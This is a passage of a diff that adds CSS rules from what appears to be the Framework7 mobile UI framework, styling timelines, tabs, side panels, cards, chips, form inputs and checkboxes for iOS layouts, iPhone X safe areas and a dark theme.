+ .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .timeline-year-title, +.ios .theme-dark .timeline-month-title { + background: #1b1b1b; +} +.ios .theme-dark .timeline-item-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .timeline-item-time { + color: #8E8E93; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date, +.timeline-horizontal.ios .theme-dark .timeline-item-date { + background: #1b1b1b; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date:after, +.timeline-horizontal.ios .theme-dark .timeline-item-date:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before, +.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-item:after, +.timeline-horizontal.ios .theme-dark .timeline-item:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-year:after, +.timeline-horizontal.ios .theme-dark .timeline-year:after { + background-color: #282829; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.ios .panel-backdrop { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + background: rgba(0, 0, 0, 0); +} +.ios .panel { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios.with-panel-left-reveal .views, +.ios.with-panel-right-reveal .views, +.ios.with-panel-transitioning .views, +.ios.with-panel-left-reveal .framework7-root > .view, +.ios.with-panel-right-reveal .framework7-root > .view, +.ios.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.ios .cards-list ul, +.ios .card .list ul { + background: none; +} +.ios .card { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + margin: 10px; +} +.ios .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .card-header a.link, +.ios .card-footer a.link { + line-height: 44px; + height: 44px; + margin-top: -10px; + margin-bottom: -10px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .card-header a.icon-only, +.ios .card-footer a.icon-only { + min-width: 44px; +} +.ios .card-content-padding { + padding: 15px; +} +.ios .card-content-padding > .list, +.ios .card-content-padding > .block { + margin: -15px; +} +.ios .card-header, +.ios .card-footer { + min-height: 44px; + padding: 10px 15px; +} +.ios .card-header { + font-size: 17px; +} +.ios .card-footer { + color: #6d6d72; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .card { + background-color: #1c1c1d; +} +.ios .theme-dark .card-outline { + border-color: #282829; +} +.ios .theme-dark .card-header:after { + background-color: #282829; +} +.ios .theme-dark .card-footer { + color: #8E8E93; +} +.ios .theme-dark .card-footer:before { + background-color: #282829; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.ios .chip { + font-size: 13px; + color: #000; + background: rgba(0, 0, 0, 0.12); + height: 24px; + border-radius: 12px; + padding: 0 10px; +} +.ios .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .chip-media { + width: 24px; + height: 24px; + vertical-align: middle; + border-radius: 50%; + text-align: center; + line-height: 16px; + color: #fff; + font-size: 12px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin-left: -10px; +} +.ios .chip-media + .chip-label { + margin-left: 4px; +} +.ios .chip-media i.icon { + font-size: 16px; + height: 16px; +} +.ios .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 14px 14px; + opacity: 0.54; + margin-right: -10px; +} +.ios .theme-dark .chip { + background-color: #333; + color: #fff; +} +.ios .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.ios .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .chip.color-red { + background: #ff3b30; + color: #fff; +} +.ios .chip.color-red.chip-outline { + background: none; + border-color: #ff3b30; + color: #ff3b30; +} +.ios .chip.color-green { + background: #4cd964; + color: #fff; +} +.ios .chip.color-green.chip-outline { + background: none; + border-color: #4cd964; + color: #4cd964; +} +.ios .chip.color-blue { + background: #007aff; + color: #fff; +} +.ios .chip.color-blue.chip-outline { + background: none; + border-color: #007aff; + color: #007aff; +} +.ios .chip.color-pink { + background: #ff2d55; + color: #fff; +} +.ios .chip.color-pink.chip-outline { + background: none; + border-color: #ff2d55; + color: #ff2d55; +} +.ios .chip.color-yellow { + background: #ffcc00; + color: #fff; +} +.ios .chip.color-yellow.chip-outline { + background: none; + border-color: #ffcc00; + color: #ffcc00; +} +.ios .chip.color-orange { + background: #ff9500; + color: #fff; +} +.ios .chip.color-orange.chip-outline { + background: none; + border-color: #ff9500; + color: #ff9500; +} +.ios .chip.color-gray { + background: #8e8e93; + color: #fff; +} +.ios .chip.color-gray.chip-outline { + background: none; + border-color: #8e8e93; + color: #8e8e93; +} +.ios .chip.color-white { + background: #ffffff; + color: #fff; +} +.ios .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.ios .chip.color-black { + background: #000000; + color: #fff; +} +.ios .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + right: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} +.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + right: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.ios .list input[type="text"], +.ios .list input[type="password"], +.ios .list input[type="search"], +.ios .list input[type="email"], +.ios .list input[type="tel"], +.ios .list input[type="url"], +.ios .list input[type="date"], +.ios .list input[type="datetime-local"], +.ios .list input[type="time"], +.ios .list input[type="number"], +.ios .list select { + height: 44px; + color: #000; + font-size: 17px; +} +.ios .list textarea { + color: #000; + font-size: 17px; + padding-top: 11px; + padding-bottom: 11px; +} +.ios .list textarea.resizable { + height: 44px; +} +.ios .item-label, +.ios .item-floating-label { + font-size: 12px; + width: 100%; + line-height: 1; + overflow: visible; +} +.ios .item-label + .item-input-wrap, +.ios .item-floating-label + .item-input-wrap { + margin-top: 0; +} +.ios .item-input .item-inner { + display: block; +} +.ios .item-input .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.ios .item-input-wrap { + margin-top: -8px; + margin-bottom: -8px; +} +.ios .inline-labels .item-inner, +.ios .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.ios .inline-labels .item-label, +.ios .inline-label .item-label, +.ios .inline-labels .item-floating-label, +.ios .inline-label .item-floating-label { + font-size: 17px; + width: 35%; + line-height: 1.4; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 3px; +} +.ios .inline-labels .item-label + .item-input-wrap, +.ios .inline-label .item-label + .item-input-wrap, +.ios .inline-labels .item-floating-label + .item-input-wrap, +.ios .inline-label .item-floating-label + .item-input-wrap { + margin-top: -8px; + margin-left: 5px; +} +.ios .inline-labels .item-input-wrap, +.ios .inline-label .item-input-wrap { + margin-top: -8px; +} +.ios .item-input-with-error-message .item-input-wrap input, +.ios div.input-with-error-message input, +.ios span.input-with-error-message input, +.ios .item-input-with-error-message .item-input-wrap select, +.ios div.input-with-error-message select, +.ios span.input-with-error-message select, +.ios .item-input-with-error-message .item-input-wrap textarea, +.ios div.input-with-error-message textarea, +.ios span.input-with-error-message textarea { + color: #ff3b30; +} +.ios .item-input-error-message, +.ios .item-input-info, +.ios .input-error-message, +.ios .input-info { + font-size: 12px; + line-height: 1.4; + position: relative; + margin-bottom: 6px; + margin-top: -8px; +} +.ios .item-input-info, +.ios .input-info { + color: #8e8e93; +} +.ios .item-input-error-message, +.ios .input-error-message { + color: #ff3b30; + display: none; +} +.ios .item-input-invalid .item-input-error-message { + display: block; +} +.ios .item-input-invalid .item-input-info { + display: none; +} +.ios .input-invalid .input-error-message { + display: block; +} +.ios .input-invalid .input-info { + display: none; +} +.ios .input-clear-button { + width: 14px; + height: 14px; + margin-top: -7px; +} +.ios .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-size: 14px 14px; +} +.ios .input-clear-button:before { + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.ios .item-input-wrap .input-clear-button { + top: 22px; +} +.ios .theme-dark .list input[type="text"], +.list.ios .theme-dark input[type="text"], +.ios .theme-dark .list input[type="password"], +.list.ios .theme-dark input[type="password"], +.ios .theme-dark .list input[type="search"], +.list.ios .theme-dark input[type="search"], +.ios .theme-dark .list input[type="email"], +.list.ios .theme-dark input[type="email"], +.ios .theme-dark .list input[type="tel"], +.list.ios .theme-dark input[type="tel"], +.ios .theme-dark .list input[type="url"], +.list.ios .theme-dark input[type="url"], +.ios .theme-dark .list input[type="date"], +.list.ios .theme-dark input[type="date"], +.ios .theme-dark .list input[type="datetime-local"], +.list.ios .theme-dark input[type="datetime-local"], +.ios .theme-dark .list input[type="time"], +.list.ios .theme-dark input[type="time"], +.ios .theme-dark .list input[type="number"], +.list.ios .theme-dark input[type="number"], +.ios .theme-dark .list select, +.list.ios .theme-dark select { + color: #fff; +} +.ios .theme-dark .list textarea, +.list.ios .theme-dark textarea { + color: #fff; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-checkbox, +.ios .checkbox i { + width: 22px; + height: 22px; + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios .icon-checkbox:after, +.ios .checkbox i:after { + left: 50%; + top: 50%; + margin-left: -6px; + margin-top: -4px; + width: 12px; + height: 9px; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox input[type="checkbox"]:checked ~ i { + border: none; + background: #007aff; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.ios .checkbox input[type="checkbox"]:checked ~ i:after { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 12px 9px; +} +.ios label.item-checkbox > .icon-checkbox { + margin-right: 15px; +} +.ios label.item-checkbox .item-content .item-media, +.ios label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-checkbox.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .theme-dark label.item-checkbox.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background: #000000; +} +.ios label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-red input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-green input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background: 